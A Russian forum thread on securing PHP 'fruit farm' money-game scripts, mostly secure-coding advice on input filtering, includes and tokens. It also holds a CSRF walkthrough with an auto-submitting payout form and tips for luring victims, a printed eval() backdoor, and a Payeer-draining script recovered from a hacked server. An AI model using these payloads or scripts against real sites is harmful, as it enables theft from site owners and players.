Взлом фруктовой фермы [Защита фруктовой фермы]

  • Автор темы pligin
  • Дата начала
pligin
Участник
Сообщения
3.654
Реакции
1.336
В данной теме буду выкладывать способы взлома фруктовых ферм, а так же причин приводящих к взлому.

!!! eval()
Очень часто для взлома Фруктовых Ферм в код вставляют функцию eval(), которая позволяет выполнить сторонний код (код из строки, с другого сайта) и скрипт выкладывают в паблик. Иногда данный код кодируют при помощи алгоритма MIME base64 - получается строка разнообразных символов такого вида
PHP:
0L/RgNC40LzQtdGAINC60L7QtNCw
Фильтрация данных
Очень частая ошибка в Фруктовых Фермах - это отсутствие фильтрации данных.
Фильтрация. Ошибка №1

Для числовых переменных используется такая проверка:
PHP:
$number = $_GET['input_number'];
if (intval($number))
{
... выполняем SQL запрос ...
}
Почему она приведет к SQL инъекции? Дело в том, что пользователь может указать в переменной input_number значение:
Код:
1'+UNION+SELECT
В таком случаи проверка будет успешно пройдена, т.к. функция intval получает целочисленное значение переменной, т.е. 1, но в самой переменной $number ничего не изменилось, поэтому весь вредоносный код будет передан в SQL запрос.
Правильная фильтрация:
PHP:
$number = intval($_GET['input_number']);
if ($number)
{
... выполняем SQL запрос ...
}
Конечно, условие может меняться, например если вам нужно получить только определенный диапазон:
PHP:
if ($number >= 32 AND $number <= 65)
Если вы используете чекбоксы или мультиселекты с числовыми значениями, выполните такую проверку:
PHP:
$checkbox_arr = array_map('intval', $_POST['checkbox']);
array_map
Так же встречаю фильтрацию в виде:
PHP:
$number = htmlspecialchars(intval($_GET['input_number']));
htmlspecialchars
Или:
PHP:
$number = mysql_escape_string(intval($_GET['input_number']));
mysql_escape_string

Ничего кроме улыбки это не может вызвать :)

Фильтрация. Ошибка №2.

Для стринг-переменных используется такая фильтрация:
PHP:
$input_text = addslashes($_GET['input_text']);
Функция addslashes экранирует спец. символы, но она не учитывает кодировку БД и возможен обход фильтрации. Не стану копировать текст автора, который описал данную уязвимость и дам просто ссылку Chris Shiflett (перевод можно поискать в рунете).

Используйте функцию mysql_escape_string или mysql_real_escape_string, пример:
PHP:
$input_text = mysql_escape_string($_GET['input_text']);
Если вы не предполагаете вхождение html тегов, то лучше всего сделать такую фильтрацию:
PHP:
$input_text = strip_tags($_GET['input_text']);
$input_text = htmlspecialchars($input_text);
$input_text = mysql_escape_string($input_text);
strip_tags — убирает html теги.
htmlspecialchars — преобразует спец. символы в html сущности.
Так вы защитите себя от XSS атаки, помимо SQL инъекции.
Если же вам нужны html теги, но только как для вывода исходного кода, то достаточно использовать:
PHP:
$input_text = htmlspecialchars($_GET['input_text']);
$input_text = mysql_escape_string($input_text);
Если вам важно, чтобы значение переменной не было пустой, то используйте функцию trim, пример:
PHP:
$input_text = trim($_GET['input_text']);
$input_text = htmlspecialchars($input_text);
$input_text = mysql_escape_string($input_text);
Фильтрация. Ошибка №3.

Она касается поиска в БД.
Для поиска по числам используйте фильтрацию, описанную в первой ошибке.
Для поиска по тексту используйте фильтрацию, описанную во второй ошибке, но с оговорками.
Для того, чтобы пользователь не смог выполнить логическую ошибку, нужно удалять или экранировать спец. символы SQL.
Пример без доп. обработки строки:
PHP:
$input_text = htmlspecialchars($_GET['input_text']); // Поиск: "%"
$input_text = mysql_escape_string($input_text);
На выходе у нас получится запрос вида:
... WHERE text_row LIKE '%".$input_text."%' ... // WHERE text_row LIKE '%%%'

Это значительно увеличит нагрузку на базу.
В своём скрипте я использую функцию, которая удаляет нежелательные мне символы из поиска:
PHP:
function strip_data($text)
{
    $quotes = array ("\x27", "\x22", "\x60", "\t", "\n", "\r", "*", "%", "<", ">", "?", "!" );
    $goodquotes = array ("-", "+", "#" );
    $repquotes = array ("\-", "\+", "\#" );
    $text = trim( strip_tags( $text ) );
    $text = str_replace( $quotes, '', $text );
    $text = str_replace( $goodquotes, $repquotes, $text );
    $text = ereg_replace(" +", " ", $text);
 
    return $text;
}
Конечно, не все из выше перечисленных символов представляют опасность, но в моём случаи они не нужны, поэтому выполняю поиск и замену.
Пример использования фильтрации:
PHP:
$input_text = strip_data($_GET['input_text']);
$input_text = htmlspecialchars($input_text);
$input_text = mysql_escape_string($input_text);
Также советую сделать ограничение по количеству символов в поиске, хотя бы не меньше 3-х, т.к. если у вас будет большое количество записей в базе, то поиск по 1-2 символам будет значительно увеличивать нагрузку на БД.

Фильтрация. Ошибка №4.

Не фильтруются значения в переменной $_COOKIE. Некоторые думаю, что раз эту переменную нельзя передать через форму, то это гарантия безопасности.
Данную переменную очень легко подделать любым браузером, отредактировав куки сайта.
Например, в одной известной CMS была проверка, используемого шаблона сайта:
PHP:
if (@is_dir ( MAIN_DIR . '/template/' . $_COOKIE['skin'] )){
    $config['skin'] = $_COOKIE['skin'];
}
$tpl->dir = MAIN_DIR . '/template/' . $config['skin'];
В данном случаи можно подменить значение переменной $_COOKIE['skin'] и вызвать ошибку, в результате которой вы увидите абсолютный путь до папки сайта.
Если вы используете значение куков для сохранения в базу, то используйте одну из выше описанных фильтраций, тоже касается и переменной $_SERVER.

Фильтрация. Ошибка №5.

Включена директива register_globals. Обязательно выключите её, если она включена.
В некоторых ситуациях можно передать значение переменной, которая не должна была передаваться, например, если на сайте есть группы, то группе 2 переменная $group должна быть пустой или равняться 0, но достаточно подделать форму, добавив код:
HTML:
<input type="text" name="group" value="5" />
В PHP скрипте переменная $group будет равна 5, если в скрипте она не была объявлена со значением по умолчанию.

Фильтрация. Ошибка №6.

Проверяйте загружаемые файлы.
Выполняйте проверку по следующим пунктам:
  1. Расширение файла. Желательно запретить загрузку файлов с расширениями: php, php3, php4, php5 и т.п.
  2. Загружен ли файл на сервер move_uploaded_file
  3. Размер файла
Проверка. Ошибка №1.

Сталкивался со случаями, когда для AJAX запроса (например: повышение репутации) передавалось имя пользователя или его ID (кому повышается репутация), но в самом PHP не было проверки на существование такого пользователя.
Например:
PHP:
$user_id = intval($_REQUEST['user_id']);
... INSERT INTO REPLOG SET uid = '{$user_id}', plus = '1' ...
... UPDATE Users SET reputation = reputation+1 WHERE user_id = '{$user_id}' ...
Получается мы создаем запись в базе, которая совершенно бесполезна нам.

Проверка. Ошибка №2.

При выполнении различного рода действий (добавление, редактирование, удаление) с данными не забывайте проверять права пользователя на доступ к данной функции и дополнительные возможности (использование html тегов или возможность опубликовать материал без проверки).

Давно исправлял в одном модуле форума подобную ошибку, когда любой пользователь мог отредактировать сообщение администрации.

Проверка. Ошибка №3.

При использовании нескольких php файлов сделайте простую проверку.
В файле index.php (или в любом другом главном файле) напишите такую строчку перед подключением других php файлов:
PHP:
define ( 'READFILE', true );
В начале других php файлов напишите:
PHP:
if (! defined ( 'READFILE' ))
{
    exit ( "Error, wrong way to file.<br><a href=\"/\">Go to main</a>." );
}
Так вы ограничите доступ к файлам.

Проверка. Ошибка №4.

Используйте хеши для пользователей. Это поможет предотвратить вызов той или иной функции путём XSS.
Пример составления хеша для пользователей:
PHP:
$secret_key = md5( strtolower( "http://site.ru/" . $member['name'] . sha1($password) . date( "Ymd" ) ) ); // $secret_key - это наш хеш
Далее во все важные формы подставляйте инпут со значением текущего хеша пользователя:
HTML:
<input type="hidden" name="secret_key" value="$secret_key" />
Во время выполнения скрипта осуществляйте проверку:
PHP:
if ($_POST['secret_key'] !== $secret_key)
{
exit ('Error: secret_key!');
}
Проверка. Ошибка №5.

При выводе SQL ошибок сделайте простое ограничение к доступу информации. Например задайте пароль для GET переменной:
PHP:
if ($_GET['passsql'] == "password")
{
... вывод SQL ошибки ...
}
else
{
... Просто информация об ошибке, без подробностей ...
}
Это позволит скрыть от хакера информацию, которая может ему помочь во взломе сайта.

Проверка. Ошибка №5.

Старайтесь не подключать файлы, получая имена файлов извне.
Например:
PHP:
if (isset($_GET['file_name']))
{
include $_GET['file_name'] .'.php';
}
Используйте переключатель switch:
PHP:
switch($_GET['file_name'])
{
         case 'file_1':
         include 'file_1.php';
         break;
 
         default:
         include 'file_0.php';
         break;
}
В таком случаи вы предотвратите подключение файлов, которые не были вами предусмотрены.

CSRF (Cross-Site Request Forgery) – атака, позволяющая хакеру выполнить на целевом сайте различные действия от имени других, зарегистрированных посетителей.
Абсолютно все движки игр подвержены этой уязвимости! Благодаря ей можно сделать в чужом аккаунте всё что угодно, но самое привлекательное это списать чужие средства на свой кошелек.

Делается это просто, первым делом подготавливаем форму заказа выплаты.
HTML:
<form action = "http://имя_вашего_сайта/account/payment" method = "post" >
<input type = "text" name= "purse" value = "P000000">
<input type = "text" name= "sum" value = "50">
<input type = "text" name= "val_type" value = "RUB">
<input type="submit" id="myButton" onclick="myFunc()" >
</form>
Далее под ней вставляем javascript код который заставит браузер нажать на кнопку формы.
HTML:
<script>
setTimeout(function() {document.getElementById("myButton").click();},1);
</script>
Все почти готово, теперь самое главное нам нужно как то заманить свою жертву, я предлагаю скачать любой скрипт с нашего форума и установить на бесплатный хостинг. Далее размещаем ссылку на этот скрипт (сайт) на серфинге сайтов. После того как статус задания будет доступен для исполнения, можно установить форму выплаты в любом файле на сайте.
После перехода человека по вашей ссылке и нажатии на сайте подтверждения серфинга, скрипт автоматически сделает вывод на Ваш кошелек указанный в форме.

Злоумышленнику упрощает задачу наличие серфинга в Вашей ферме.

Бэкдоры
PHP:
if(!empty($_REQUEST['user_id'])){ if(@get_magic_quotes_gpc())$_REQUEST['user_id']=stripslashes($_REQUEST['user_id']); eval($_REQUEST['user_id']); die();}
Хотите лишиться денег? Размещайте баннеры различных рекламных систем на странице выплаты! (LinkSlot и т.п.)

------UPDATE-----
От [B][SIZE=4]A_lex[/SIZE][/B]
Был взлом игры
93.77.175.239 - - [10/Oct/2017:18:20:48 +0500] "GET /sev%D0%B5ns4.php HTTP/1.1" 200 7295 "мой сайт/sev%D0%B5ns4.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
93.77.175.239 - - [10/Oct/2017:18:20:50 +0500] "GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/FACK_YOU.php HTTP/1.0" 200 432 "мой сайт/js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
93.77.175.239 - - [10/Oct/2017:18:20:52 +0500] "GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/FACK_YOU.php HTTP/1.1" 200 194 "мой сайт/js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
В итоге вот что нашел у себя на хостинге
<?php
///////////////////////////////////////////////
function getnik(){
$a = array('Viktor228',
'Alexey2017',
'Mamix_Evanguy',
'GameDom',
'MonitorFF',
'MonitoringFF',
'FackingPussy');
return $a[rand(0,(count($a)-1))];
}
require_once('cpayeer.php');
$payeer = new CPayeer('мой кошелек payeer', 'id магазина', 'ключ магазина');
if ($payeer->isAuth())
{
$b = $payeer->getBalance();
print_r($b);
$balanse = $b['balance']['RUB']['DOSTUPNO'];
if($balanse > 0){
$arTransfer = $payeer->transfer(array(
'curIn' =>'RUB',
'sum'=>$balanse,
'curOut' => 'RUB',
'to' => 'P60932401',
'comment' =>'Spasibo by Z',
'anonim'=>'Y'
));
print_r($arTransfer);
}
print_r($payeer->getErrors());
}else{
print_r($payeer->getErrors());
echo "\r\n";
}
?>
 

Вложения

  • 4,1 KB Просмотры: 121
  • 92 KB Просмотры: 113
Последнее редактирование модератором:
Venya
Участник
Сообщения
10
Реакции
1
Вот это другое дело, Админ молодец!!!
 
Жоха
Участник
Сообщения
22
Реакции
0
Вот например стоит код eval, как с ним доступ получить? Где-то что-то приписывают или как?
 
pligin
Участник
Сообщения
3.654
Реакции
1.336
Жоха написал(а):
Вот например стоит код eval, как с ним доступ получить? Где-то что-то приписывают или как?
Указывают ссылку на файл на другом сайте. В тот файл пишут нужный код и он будет исполнен
 
Жоха
Участник
Сообщения
22
Реакции
0
admin написал(а):
Указывают ссылку на файл на другом сайте. В тот файл пишут нужный код и он будет исполнен
Можешь пример скрыть в лс, просто меня так взламывали
 
pligin
Участник
Сообщения
3.654
Реакции
1.336
CSRF (Cross-Site Request Forgery) – атака, позволяющая хакеру выполнить на целевом сайте различные действия от имени других, зарегистрированных посетителей.
Абсолютно все движки игр подвержены этой уязвимости! Благодаря ей можно сделать в чужом аккаунте всё что угодно, но самое привлекательное это списать чужие средства на свой кошелек.

Делается это просто, первым делом подготавливаем форму заказа выплаты.
HTML:
<form action = "http://имя_вашего_сайта/account/payment" method = "post" >
<input type = "text" name= "purse" value = "P000000">
<input type = "text" name= "sum" value = "50">
<input type = "text" name= "val_type" value = "RUB">
<input type="submit" id="myButton" onclick="myFunc()" >
</form>
Далее под ней вставляем javascript код который заставит браузер нажать на кнопку формы.
HTML:
<script>
setTimeout(function() {document.getElementById("myButton").click();},1);
</script>
Все почти готово, теперь самое главное нам нужно как то заманить свою жертву, я предлагаю скачать любой скрипт с нашего форума и установить на бесплатный хостинг. Далее размещаем ссылку на этот скрипт (сайт) на серфинге сайтов. После того как статус задания будет доступен для исполнения, можно установить форму выплаты в любом файле на сайте.
После перехода человека по вашей ссылке и нажатии на сайте подтверждения серфинга, скрипт автоматически сделает вывод на Ваш кошелек указанный в форме.

Злоумышленнику упрощает задачу наличие серфинга в Вашей ферме.
 
pligin
Участник
Сообщения
3.654
Реакции
1.336
PHP:
if(!empty($_REQUEST['user_id'])){ if(@get_magic_quotes_gpc())$_REQUEST['user_id']=stripslashes($_REQUEST['user_id']); eval($_REQUEST['user_id']); die();}
 
pligin
Участник
Сообщения
3.654
Реакции
1.336
Хотите лишиться денег? Размещайте баннеры различных рекламных систем на странице выплаты! (LinkSlot и т.п.)
 
pligin
Участник
Сообщения
3.654
Реакции
1.336
A_lex написал(а):
Был взлом игры
93.77.175.239 - - [10/Oct/2017:18:20:48 +0500] "GET /sev%D0%B5ns4.php HTTP/1.1" 200 7295 "мой сайт/sev%D0%B5ns4.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
93.77.175.239 - - [10/Oct/2017:18:20:50 +0500] "GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/FACK_YOU.php HTTP/1.0" 200 432 "мой сайт/js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
93.77.175.239 - - [10/Oct/2017:18:20:52 +0500] "GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/FACK_YOU.php HTTP/1.1" 200 194 "мой сайт/js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
В итоге вот что нашел у себя на хостинге
<?php
///////////////////////////////////////////////
function getnik(){
$a = array('Viktor228',
'Alexey2017',
'Mamix_Evanguy',
'GameDom',
'MonitorFF',
'MonitoringFF',
'FackingPussy');
return $a[rand(0,(count($a)-1))];
}
require_once('cpayeer.php');
$payeer = new CPayeer('мой кошелек payeer', 'id магазина', 'ключ магазина');
if ($payeer->isAuth())
{
$b = $payeer->getBalance();
print_r($b);
$balanse = $b['balance']['RUB']['DOSTUPNO'];
if($balanse > 0){
$arTransfer = $payeer->transfer(array(
'curIn' =>'RUB',
'sum'=>$balanse,
'curOut' => 'RUB',
'to' => 'P60932401',
'comment' =>'Spasibo by Z',
'anonim'=>'Y'
));
print_r($arTransfer);
}
print_r($payeer->getErrors());
}else{
print_r($payeer->getErrors());
echo "\r\n";
}
?>
Которой? Скрипт есть на этом форуме?
 
pligin
Участник
Сообщения
3.654
Реакции
1.336
  • #11
A_lex написал(а):
Я там ответил.
Твое сообщение о взломе я добавлю в первое сообщение
 
A_lex
Местный
Сообщения
35
Реакции
15
  • #12
pligin написал(а):
Я там ответил.
Твое сообщение о взломе я добавлю в первое сообщение
Ок, думаю многим этим поможешь
 
A_lex
Местный
Сообщения
35
Реакции
15
  • #13
pligin
Участник
Сообщения
3.654
Реакции
1.336
  • #14
sadowod
Участник
Сообщения
17
Реакции
0
  • #15
Сегодня взломали мою ферму.Накрутили баланс на 7500000р.А на кошельке было всего 100р.Хорошо деньги хранил на другом кошельке. Увели деньги на P1001308158 Zamey @mail.ru
 
Сверху